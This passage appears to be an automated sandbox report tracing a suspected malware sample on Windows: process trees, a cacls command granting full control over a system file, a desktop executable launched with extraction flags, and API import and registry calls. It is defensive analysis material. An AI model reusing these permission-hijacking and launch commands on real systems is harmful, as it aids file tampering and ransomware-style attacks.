"counties_clubs.exe" filename = "c:\\program files\\microsoft office\\counties_clubs.exe" page_root = "0x4aef4000" os_pid = "0xb7c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Microsoft Office\\counties_clubs.exe\" " cur_dir = "C:\\Program Files\\Microsoft Office\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 623 os_tid = 0xb80 Process: id = "121" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x49ffd000" os_pid = "0xbc0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 624 os_tid = 0xbe0 Thread: id = 625 os_tid = 0xbdc Thread: id = 626 os_tid = 0xbd8 Thread: id = 627 os_tid = 0xbd4 Thread: id = 628 os_tid = 0xbd0 Thread: id = 629 os_tid = 0xbcc Thread: id = 630 os_tid = 0xbc8 Thread: id = 631 os_tid = 0xbc4 Thread: id = 808 os_tid = 0xf64 Process: id = "122" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x49602000" os_pid = "0xbec" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00061323" [0xc000000f] Thread: id = 632 os_tid = 0x838 Thread: id = 633 os_tid = 0x828 Thread: id = 634 os_tid = 0x818 Thread: id = 635 os_tid = 0x808 Thread: id = 636 os_tid = 0x7f0 Thread: id = 637 os_tid = 0xbfc Thread: id = 638 os_tid = 0xbf8 Thread: id = 639 os_tid = 0xbf4 Thread: id = 640 os_tid = 0xbf0 Process: id = "123" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x3415c000" os_pid = "0x55c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 641 os_tid = 0xb74 Thread: id = 642 os_tid = 0x87c Process: id = "124" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x33468000" os_pid = "0x858" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 643 os_tid = 0x174 Thread: id = 644 os_tid = 0xb3c Process: id = "125" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x32172000" os_pid = "0x9fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 645 os_tid = 0x6d4 Thread: id = 646 os_tid = 0x97c Process: id = "126" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1db80000" os_pid = "0xa3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 647 os_tid = 0x7b4 Thread: id = 648 os_tid = 0xa4c Process: id = "127" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x2b385000" os_pid = "0x74c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 649 os_tid = 0x9ec Thread: id = 650 os_tid = 0xb50 Process: id = "128" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x16c8c000" os_pid = "0x6e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 651 os_tid = 0x560 Thread: id = 652 os_tid = 0x93c Thread: id = 654 os_tid = 0x8dc Process: id = "129" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x21000000" os_pid = "0x10c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x594" cmd_line = "cacls \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 655 os_tid = 0x6f8 Process: id = "130" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x1592c000" os_pid = "0x89c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xadc" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 656 os_tid = 0xb1c [0064.859] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0064.859] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0064.859] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0064.860] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0064.861] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0064.862] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0064.863] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0064.864] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0064.865] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0064.865] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0064.865] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0064.865] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0064.865] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0064.865] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0064.865] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0064.865] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0064.865] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0064.865] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0064.865] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0064.865] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0064.865] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0064.865] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0064.866] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0064.866] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0064.866] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0064.866] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0064.866] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0064.866] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0064.866] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0064.866] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0064.866] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0064.866] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0064.866] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0064.866] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0064.866] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0064.866] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0064.866] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0064.866] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0064.867] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0064.867] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0064.867] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0064.867] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0064.867] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0064.867] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0064.867] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0064.867] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0064.867] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0064.867] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0064.867] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0064.867] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0064.867] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0064.867] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0064.867] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0064.868] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0064.868] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0064.876] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0064.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xcd0c7c60, dwHighDateTime=0x1d5d06a)) [0064.876] GetCurrentThreadId () returned 0xb1c [0064.876] GetCurrentProcessId () returned 0x89c [0064.876] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=20682837581) returned 1 [0064.877] GetProcessHeap () returned 0x2f0000 [0064.877] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0064.877] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0064.877] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0064.877] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0064.877] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0064.877] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0064.877] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0064.877] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0064.877] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0064.878] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0064.879] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0064.879] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0064.879] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0064.879] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0064.879] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0064.879] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0064.879] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0064.879] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0064.879] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0064.879] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0064.880] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3bc) returned 0x3070a8 [0064.880] GetCurrentThreadId () returned 0xb1c [0064.880] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x18) returned 0x307470 [0064.880] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x800) returned 0x307490 [0064.880] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: 